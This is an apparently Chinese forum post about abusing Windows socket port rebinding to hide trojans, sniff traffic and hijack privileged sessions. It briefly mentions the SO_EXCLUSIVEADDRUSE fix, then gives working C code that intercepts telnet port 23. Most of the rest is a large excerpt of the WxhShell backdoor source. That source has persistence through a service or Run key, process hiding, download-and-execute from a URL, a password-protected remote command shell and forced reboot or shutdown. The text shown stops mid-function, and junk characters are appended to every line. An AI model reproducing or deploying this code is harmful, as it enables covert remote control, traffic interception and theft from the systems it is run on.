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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {? 6]_J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Va{`es)hky  
oEfKL`]B  
  saddr.sin_family = AF_INET; z,^baU  
;Neld #%J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P>)qN,a  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [rf.P'p%  
C^ uXJ~8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QYg2'`(  
C`DTPoXN  
  这意味着什么?意味着可以进行如下的攻击: **oN/5  
+H+OYQ>^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =WHdy;  
}PoB`H'K5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9V\5`QXu  
['{mW4i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \# #~Tq  
qi$6y?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XC~|{d  
MvQ0"-ZQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [X;yJ$  
$2\ OBc=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \QQw1c+  
A5z5e# ,u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \|Us/_h  
O$KLQ'0"n  
  #include 7hQrL+%q8  
  #include EQMn'>  
  #include J](AJkGzK  
  #include    `cCsJm$V"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bF<FX_}!s!  
  int main() IrM Ws86;  
  { eqg|bc[i!t  
  WORD wVersionRequested; 0]fzjiaGt  
  DWORD ret; yd'>Mw  
  WSADATA wsaData; E&/#Ov  
  BOOL val; >6KuZ_  
  SOCKADDR_IN saddr; 4uwI=UUB  
  SOCKADDR_IN scaddr; I& DEF*  
  int err; JN,4#,  
  SOCKET s; r ".*l?=  
  SOCKET sc; pxDkf|*   
  int caddsize; JUHmIFjZ  
  HANDLE mt; a~>+I~^K5q  
  DWORD tid;   ")}^\O m  
  wVersionRequested = MAKEWORD( 2, 2 ); uD4on}  
  err = WSAStartup( wVersionRequested, &wsaData ); \oA>%+]5  
  if ( err != 0 ) { qs 6r9?KP  
  printf("error!WSAStartup failed!\n"); u $O` \=  
  return -1; dG2k4 O  
  }  ltK\ )L  
  saddr.sin_family = AF_INET; yS'W ss  
   hSr2<?yk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jz<-B  
oR}cE Sr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1DLAfsLlj  
  saddr.sin_port = htons(23); XYj!nx{k,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >pdWR1ox  
  { W|'7)ph  
  printf("error!socket failed!\n"); nvY%{Zf$}  
  return -1; @cRR  
  } `ECY:3"$KA  
  val = TRUE; $lVR6|n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C.4r`F$p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >>bsr#aJ  
  { /Z^"[Ke  
  printf("error!setsockopt failed!\n"); P|j|0o,8p  
  return -1; H{ M7_1T  
  } )cP &c=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QiKci%=SX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wr5ScsNS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?TWve)U  
X\4d|VJ?m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /]pJ(FFC  
  { zbY2gq@?  
  ret=GetLastError(); *yl?M<28  
  printf("error!bind failed!\n"); N> 7sG(!'"  
  return -1; yxk:5L \A  
  } _nwsIjsW  
  listen(s,2);  m#K)%0  
  while(1) #ME!G/  
  { )_C+\K*  
  caddsize = sizeof(scaddr); WwUhwY1o!L  
  //接受连接请求 j)nL!":O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A>\5fO  
  if(sc!=INVALID_SOCKET) r{cmw`WA/P  
  { &u+l`F^Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =y^`yv 3  
  if(mt==NULL) \1Xr4H u  
  { ~7=eHU.@  
  printf("Thread Creat Failed!\n"); !\< [}2}  
  break; /PZx['g  
  } 0 i'bo*  
  } y`,;m#frT  
  CloseHandle(mt); whi#\>i  
  } mO=A50_&,Q  
  closesocket(s); tgyW:<iv  
  WSACleanup(); 8KyRD1 (-R  
  return 0; gU&y5s~  
  }   a`e'HQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6o0}7T%6  
  { FMOO  
  SOCKET ss = (SOCKET)lpParam; n1U!od  
  SOCKET sc; v!`:{)2C  
  unsigned char buf[4096]; N_^PoX935O  
  SOCKADDR_IN saddr; ?:tk8Kgf  
  long num; @cr/&  
  DWORD val; bey:Qj??  
  DWORD ret; 29AE B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qz"+M+~%&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1oc@]0n  
  saddr.sin_family = AF_INET; b/{$#[oP`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pwH*&YU  
  saddr.sin_port = htons(23); vM'!WVs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gvFJ~lL  
  { " Tk,  
  printf("error!socket failed!\n"); 0GlQWRa  
  return -1; /a*8z,x  
  } 5X>K#N  
  val = 100; cQkj{u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KE.O>M ,I.  
  { s~QIs  
  ret = GetLastError(); 8J#xB  
  return -1; j0=F__H#@  
  } ;Fo7 -kK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hu9nJ  
  { R; w$_1  
  ret = GetLastError(); blLl1Ak  
  return -1; Jk v!]C  
  } K ton$%Li  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &q&~&j'[  
  { \QQWhwE  
  printf("error!socket connect failed!\n"); h3bQ<?m  
  closesocket(sc); deQ {  
  closesocket(ss); \2!.  
  return -1; ScjeAC)  
  } w/ ^_w5  
  while(1) =), O;M  
  { ^q_wtuQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }3, 4B -8!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KWxTN|>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q44vI  
  num = recv(ss,buf,4096,0); q %j8Js  
  if(num>0) cNT !}8h^  
  send(sc,buf,num,0); W\($LD"X  
  else if(num==0) dWi< U4  
  break; 2}7_Y6RS*  
  num = recv(sc,buf,4096,0); q{Gh5zg5O  
  if(num>0) ePZ Ai"k  
  send(ss,buf,num,0); "Bv V89  
  else if(num==0) TQ:h[6v  
  break; Buso `G  
  } uF|Up]Z G  
  closesocket(ss); p0y|pD  
  closesocket(sc); -[J4nN&N  
  return 0 ; t^Lb}A#$4  
  } W}N7jPO}  
w#hg_RK(Jr  
C~ A`h=A<  
========================================================== R>Dr1fc}  
w >%^pO~}`  
下边附上一个代码,,WXhSHELL 1JU je  
l]~9BPsR  
========================================================== Z"'*A\r2  
$a8,C\m e?  
#include "stdafx.h" ~ o2Z5,H  
F Z RnIg  
#include <stdio.h> yY!)2{F+  
#include <string.h> CJh,-w{wJ"  
#include <windows.h> :/%Y"0  
#include <winsock2.h> 4!OGNr$V@  
#include <winsvc.h> #_x5-?3  
#include <urlmon.h> ?&zi{N  
Qd\='*:!  
#pragma comment (lib, "Ws2_32.lib") pH.&C 5kA  
#pragma comment (lib, "urlmon.lib") 1_Ks*7vuq  
M%la@2SK=  
#define MAX_USER   100 // 最大客户端连接数  @;KYvDY  
#define BUF_SOCK   200 // sock buffer +."|Y3a  
#define KEY_BUFF   255 // 输入 buffer 0:71Xm  
y$bY 8L  
#define REBOOT     0   // 重启 2LR y/ah  
#define SHUTDOWN   1   // 关机 ,C"6@/:l  
X`EVjK  
#define DEF_PORT   5000 // 监听端口 %'i_iF8.  
po'b((q  
#define REG_LEN     16   // 注册表键长度 f8SO:ihXL  
#define SVC_LEN     80   // NT服务名长度 V=5S=7 Z:  
TmftEw>u  
// 从dll定义API uYWgNNxdmo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2}XRqa.|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1ig*Xp[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;-JFb$m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N8df1>mW  
@k)J i!7  
// wxhshell配置信息 ybsw{[X>M  
struct WSCFG { )eT>[['fm  
  int ws_port;         // 监听端口 t_xK?``  
  char ws_passstr[REG_LEN]; // 口令 kr~n5WiAZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no J5F@<vi  
  char ws_regname[REG_LEN]; // 注册表键名 u-y?i`  
  char ws_svcname[REG_LEN]; // 服务名 <9 ^7r J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )`{m |\b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i ]8bj5j{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A D<>)(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yQ[;.<%v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G/FDD{y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P*?|E@;s`  
6;:D!},'c  
}; ,j`48S@  
YkMFU'?[  
// default Wxhshell configuration T?f{.a)  
struct WSCFG wscfg={DEF_PORT, T%& vq6  
    "xuhuanlingzhe", Yb`b /BMR  
    1, (B$>o.(JA  
    "Wxhshell", U ^GVz%\  
    "Wxhshell", I<sUB4T>#W  
            "WxhShell Service", o+x! (  
    "Wrsky Windows CmdShell Service", IAGY-+8e  
    "Please Input Your Password: ", #BcUE?K*N  
  1, S'qT+pP  
  "http://www.wrsky.com/wxhshell.exe", 6'N_bNW  
  "Wxhshell.exe" [t3 Kgjt  
    }; 13Z,;YW  
EATVce]T  
// 消息定义模块 <`=Kt[_BQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r ~UDK]?V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -Z:x!M[Xr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DpA)Vdj  
char *msg_ws_ext="\n\rExit."; Rh)XYCM  
char *msg_ws_end="\n\rQuit."; t bR  
char *msg_ws_boot="\n\rReboot..."; )P b$  
char *msg_ws_poff="\n\rShutdown..."; a?nK|Q=e  
char *msg_ws_down="\n\rSave to "; $ -<(geI  
{_*G"A 9  
char *msg_ws_err="\n\rErr!"; s+fxv(,"c  
char *msg_ws_ok="\n\rOK!"; '6){~ee S  
"u4x#7n|  
char ExeFile[MAX_PATH]; W?aP%D"(i  
int nUser = 0; WxO+cB+?  
HANDLE handles[MAX_USER]; U7jDm>I  
int OsIsNt; .On qj^v  
v@GhwL  
SERVICE_STATUS       serviceStatus; ;>6~}lMgJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T}msF  
DjN1EP\Xx  
// 函数声明 p.8  
int Install(void); \6/ Gy!0h-  
int Uninstall(void); nXhP ME  
int DownloadFile(char *sURL, SOCKET wsh); Yl'8" \HF  
int Boot(int flag); p6BDhT(RS  
void HideProc(void); Zazs".  
int GetOsVer(void); tKe-Dk9  
int Wxhshell(SOCKET wsl); \}.bTca  
void TalkWithClient(void *cs); <+q`Dk  
int CmdShell(SOCKET sock); bfncO[Q,?  
int StartFromService(void); Z&iW1  
int StartWxhshell(LPSTR lpCmdLine); Hik=(pTu>  
V3cKdlu Na  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8LPWT!S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )7+z/y+[n  
6XZjZ*)W  
// 数据结构和表定义 LVdR,'lS  
SERVICE_TABLE_ENTRY DispatchTable[] = fB7Jx6   
{ =8*ru\L:hr  
{wscfg.ws_svcname, NTServiceMain}, Xr8fmJtg'  
{NULL, NULL} 0',buJncV  
}; 0nD?X+u  
d(V4;8a0  
// 自我安装 .s4v*bng  
int Install(void) y5aPs z  
{ _U4@W+lhX_  
  char svExeFile[MAX_PATH]; :8/ 6dx@Y(  
  HKEY key; tl~ZuS/  
  strcpy(svExeFile,ExeFile); ,\&r\!=  
i4k [#x  
// 如果是win9x系统,修改注册表设为自启动 yO@1#  
if(!OsIsNt) { !Z\Gv1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a]5y CBm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j<BRaT  
  RegCloseKey(key); WH39=)D%u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y!x[N!a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5+oY c-  
  RegCloseKey(key); )h0>e9z>Y  
  return 0; ND.(N'/O  
    } d&|5Rk ~  
  } owA8hGF  
} #m<uG5l`  
else { V?.=_T<  
&3"ODAp'  
// 如果是NT以上系统,安装为系统服务 y1}2hT0,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yN`&oya  
if (schSCManager!=0) ( [a$Z2m  
{ gq*W 0S  
  SC_HANDLE schService = CreateService jP}Ry=V/  
  ( @@\px66  
  schSCManager, kxEq_FX  
  wscfg.ws_svcname, #Q["[}flVv  
  wscfg.ws_svcdisp, ^pew'p HQ  
  SERVICE_ALL_ACCESS, qHyOaK Md  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f9Xa}*  
  SERVICE_AUTO_START, 9$9a BW  
  SERVICE_ERROR_NORMAL, z!b:|*m]w  
  svExeFile, Uy|!f]"?  
  NULL, 8tjWVo  
  NULL, >f^kp8`3{Y  
  NULL, Dt7z<1-)l  
  NULL, KI*b We  
  NULL %q;y74  
  ); #"TYk@whWf  
  if (schService!=0) :?z @T[-  
  { n.NWS/v_{  
  CloseServiceHandle(schService); Z]2z*XD  
  CloseServiceHandle(schSCManager); m*)jnd XY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T 8 ]*bw  
  strcat(svExeFile,wscfg.ws_svcname); L_:~{jV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1\/vS$bi(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r+#g  
  RegCloseKey(key); -%>Tjo@B n  
  return 0; Uh1UZ r  
    } 8 ks\-38n1  
  } \0;w7tdo  
  CloseServiceHandle(schSCManager); zd$iD i($  
} y!S:d  
} A4d3hF~l`  
'ju_l)(R  
return 1; N^F5J  
} n) HV:8j~  
gwB0/$!4"  
// 自我卸载 fU%Mz\t  
int Uninstall(void) xi ,fm  
{ d%q&[<'jf  
  HKEY key; 7rGp^  
HKOSS-`5  
if(!OsIsNt) { )`W|J%w+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D]'8BS3  
  RegDeleteValue(key,wscfg.ws_regname); "9*MSsU  
  RegCloseKey(key); Sc}Rs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u~'_Uqp  
  RegDeleteValue(key,wscfg.ws_regname); ?TW?2+  
  RegCloseKey(key); {m,LpI0wG  
  return 0; ?wIEXKI  
  } wF6a*b@v  
} 0f3>s>`M  
} $kR%G{j 4  
else { &g*1If  
4@ny%_/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m*7RC4"J  
if (schSCManager!=0) PuBE=9,  
{ p>T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _IxYnm`pc  
  if (schService!=0) \l5G   
  { EQHCw<e  
  if(DeleteService(schService)!=0) { ~ `{{Z&  
  CloseServiceHandle(schService); G/(tgQ  
  CloseServiceHandle(schSCManager); H2+Ijn19E  
  return 0; n{m[ j+UG  
  } (CYQ>)a  
  CloseServiceHandle(schService); UhU+vy6)/  
  } ~Hx>yn94e  
  CloseServiceHandle(schSCManager); (J(SwL|  
} zE}ry!{  
} x;STt3M~  
5GJa+St?  
return 1; {G|= pM\'  
} 4a.8n!sys  
J/Ch /Sa  
// 从指定url下载文件 69odE+-X.  
int DownloadFile(char *sURL, SOCKET wsh) y;.5AvfD  
{ >ca`0gu  
  HRESULT hr; H$zDk  
char seps[]= "/"; !(j<Y0xo:  
char *token; %~lTQCPE  
char *file; /(}YjeS  
char myURL[MAX_PATH]; UH5A;SrTqR  
char myFILE[MAX_PATH]; mJVru0  
vsB3n$2@u  
strcpy(myURL,sURL); p%\&M bA  
  token=strtok(myURL,seps); Cv`dK=n>  
  while(token!=NULL) Vg"vC  
  { +KP&D.wIo  
    file=token; Y)AHM0;g  
  token=strtok(NULL,seps); ?,eq86-M  
  } axkNy}ct  
v/Xz.?a\jF  
GetCurrentDirectory(MAX_PATH,myFILE); Ui"3'OU'  
strcat(myFILE, "\\"); _Vt CC/  
strcat(myFILE, file); PiNf;b^9  
  send(wsh,myFILE,strlen(myFILE),0); kNrd=s,-]D  
send(wsh,"...",3,0); fQ2U |  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rGQ([e  
  if(hr==S_OK) vH"^a/95|  
return 0; (~#-J7  
else Yjx4H  
return 1; _U~~[I  
yV) 9KGV+:  
} iis}=i7|  
c 1{nOx  
// 系统电源模块 *i,A(f'e4X  
int Boot(int flag) ?r.U5}PBI  
{ #\3X;{  
  HANDLE hToken; *adwCiB  
  TOKEN_PRIVILEGES tkp; $ 3.Y2&$T  
^^[A\'  
  if(OsIsNt) { {"*gX&;~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XK@Ct eP"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^ `[T0X  
    tkp.PrivilegeCount = 1; uNvdlY]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #sf1,k5'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,Y0qGsV  
if(flag==REBOOT) { U1=\ `)u;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K'U=);W  
  return 0; kclZ+E  
} S@WT;Q2Z  
else { (U|WP%IM'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TmLfH d  
  return 0; 7@!3.u1B  
} 34aSRFsk*  
  } " 8g\UR"[  
  else { i[ n3ILn  
if(flag==REBOOT) { |k/;1.b!9(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /}3I:aJwb  
  return 0; \|R\pS}4  
} )1Z @}o 9  
else { na] 9-~4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wF{M"$am  
  return 0; pT<I!,~  
} ?H21Ru>:*  
} b'(Hwc\ t  
jlaC: (6  
return 1; $8NM[R.8^4  
} q.d qr<  
D4U<Rn6N_5  
// win9x进程隐藏模块 oSkvTK$ &i  
void HideProc(void) 3q0S}<h al  
{ {[r}gS%  
7m;<b$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V6r*fEhrT_  
  if ( hKernel != NULL ) W,[iRmxn  
  { x UTlM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wI#R\v8(`n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !+3nlG4cw  
    FreeLibrary(hKernel); ;1Q @d  
  } li%A?_/m<&  
c- "#  
return; s#)0- Zj  
} ~.J{yrJ&  
XOPiwrg%p  
// 获取操作系统版本 3U[:N &Jb  
int GetOsVer(void) x{,W<oXg  
{ L [X "N  
  OSVERSIONINFO winfo; HXQ } B$V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {6HgKI  
  GetVersionEx(&winfo); a]0hB:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iq3TP5%i  
  return 1; dp*E#XCr1  
  else DWk2=cO  
  return 0; E&> 2=$~  
} <l$ vnq  
Gn 1  
// 客户端句柄模块 'L G )78sk  
int Wxhshell(SOCKET wsl) k3&/Ei5  
{ TZa LB}4  
  SOCKET wsh; ^AR kjYt  
  struct sockaddr_in client; 8,]wOxwqi  
  DWORD myID; qDjH^f  
!r9~K^EI  
  while(nUser<MAX_USER) ` 6pz9j]  
{ }C5Fvy6uz  
  int nSize=sizeof(client); .8]=yPm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ])vqXjN6"  
  if(wsh==INVALID_SOCKET) return 1; j&`D{z-c~  
r ['zp=9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @Zfg]L{Lr  
if(handles[nUser]==0) `i6q\-12n  
  closesocket(wsh); o> yo9n%t  
else q `L}\}o  
  nUser++; $QaEU="Z  
  } VaTA|=[;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?)e6:T(  
gTg[!}_;\N  
  return 0; N7Kkz /  
} +l>X Z  
{/!Yavx  
// 关闭 socket py9`q7F  
void CloseIt(SOCKET wsh) &8hW~G>(m  
{ k(_^Lq f-  
closesocket(wsh); ,UneS  
nUser--; 0B(Y{*QB  
ExitThread(0); u\=yY.   
} ^fti<Lw5  
- 4B&{P  
// 客户端请求句柄 ]9hhAT44  
void TalkWithClient(void *cs) #Z}YQ $g  
{ TR!7@Mu 3  
>;~ia3  
  SOCKET wsh=(SOCKET)cs; /.:&9 c  
  char pwd[SVC_LEN]; -nnAe F  
  char cmd[KEY_BUFF]; M[^EHa<i  
char chr[1]; H@`lM~T[  
int i,j; v|2+7N:[;  
*m`F-J6U  
  while (nUser < MAX_USER) { {\ogw0X  
u(4o#m  
if(wscfg.ws_passstr) { 8 %^W<.Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I3dUI~}u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -m Sf`1l0  
  //ZeroMemory(pwd,KEY_BUFF); fs*OR2YG7  
      i=0; $GIup5  
  while(i<SVC_LEN) { d&%}u1 .  
wQ\bGBks  
  // 设置超时 y_{v&AGmgm  
  fd_set FdRead; %DhLU~VX  
  struct timeval TimeOut; 6?= ^8  
  FD_ZERO(&FdRead); }*56 DX  
  FD_SET(wsh,&FdRead); sKDL=c;?j  
  TimeOut.tv_sec=8; ivPX_#QI  
  TimeOut.tv_usec=0; 5>~q4t)6z}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CMHg]la  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N-}|!pqb  
q ?m<9`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z=DK(b;$z  
  pwd=chr[0]; N~9zQ  
  if(chr[0]==0xd || chr[0]==0xa) { q8 Rep  
  pwd=0; iI!g1  
  break; Z/b,aZhB  
  } :A`jRe.  
  i++; [};?;YN  
    } >~@ABLp 6  
ex)U'.^  
  // 如果是非法用户,关闭 socket QykHB k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4j~WrdI*  
} RH&}'4JE:  
*5R91@xt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5S&^mj-9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fzn#>`qG  
:6}cczQE|O  
while(1) { /P/::$  
.jRv8x b  
  ZeroMemory(cmd,KEY_BUFF); GlaZZ,   
[3io6XG x@  
      // 自动支持客户端 telnet标准   @v n%  
  j=0; k1;Jkq~  
  while(j<KEY_BUFF) { u|\K kk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *AA78G|  
  cmd[j]=chr[0]; 8Tm/gzx  
  if(chr[0]==0xa || chr[0]==0xd) { u&$1XZ!es  
  cmd[j]=0; &A~(9IV  
  break; d$v{oC }  
  } ]8EkZC  
  j++; " {Nw K  
    } @RLlkWGc  
)LE#SGJP  
  // 下载文件 rOXh?r  
  if(strstr(cmd,"http://")) { ~Ec@hz]js  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Axx{G~n![  
  if(DownloadFile(cmd,wsh)) xwu,<M v `  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,4kipJ!,yK  
  else StM)lVeF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'pl){aL`@u  
  } 0/?=FM >  
  else { !6{b)P  
^HNccr  
    switch(cmd[0]) { ?=\_U  
  gBXJ/BW$y  
  // 帮助 \|Ya*8V  
  case '?': { F` ]s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v@ OM  
    break; v9vY#W  
  } e+P|PW  
  // 安装 ru1FJ{n  
  case 'i': { ($:JI3e[;  
    if(Install()) &?B\(?*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xm}`6B^f  
    else nv"D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K6z-brvw "  
    break; )z2hyGX  
    } n"Q fW~U  
  // 卸载 p&,2@(Q  
  case 'r': { YM]ZL,8  
    if(Uninstall()) ] e]l08  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6d|%8.q1  
    else n{r _Xa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ppo\cy;  
    break; 0qMf6  
    } *`.4M)Ym~  
  // 显示 wxhshell 所在路径 .6#Y- iJqc  
  case 'p': { -YP>mwSN?  
    char svExeFile[MAX_PATH]; e8<[2J)P&  
    strcpy(svExeFile,"\n\r"); LuIs4&[EW  
      strcat(svExeFile,ExeFile); $2\k| @)s  
        send(wsh,svExeFile,strlen(svExeFile),0); p&ml$N9fd  
    break; 9Fm><,0'u  
    } _"#ucM=B:-  
  // 重启 k!6wVJ|_Y  
  case 'b': { H&zhYKw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q!dNJQpb  
    if(Boot(REBOOT)) 0q ^dpM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fr<, LC.  
    else { :X;AmLf`2u  
    closesocket(wsh); m]NyEMYg  
    ExitThread(0); =!%+ sem  
    } mf)o1O&B  
    break; tkGJ!aUt  
    } +#!! 'XP  
  // 关机 *T'>-nm]  
  case 'd': { H|iY<7@  
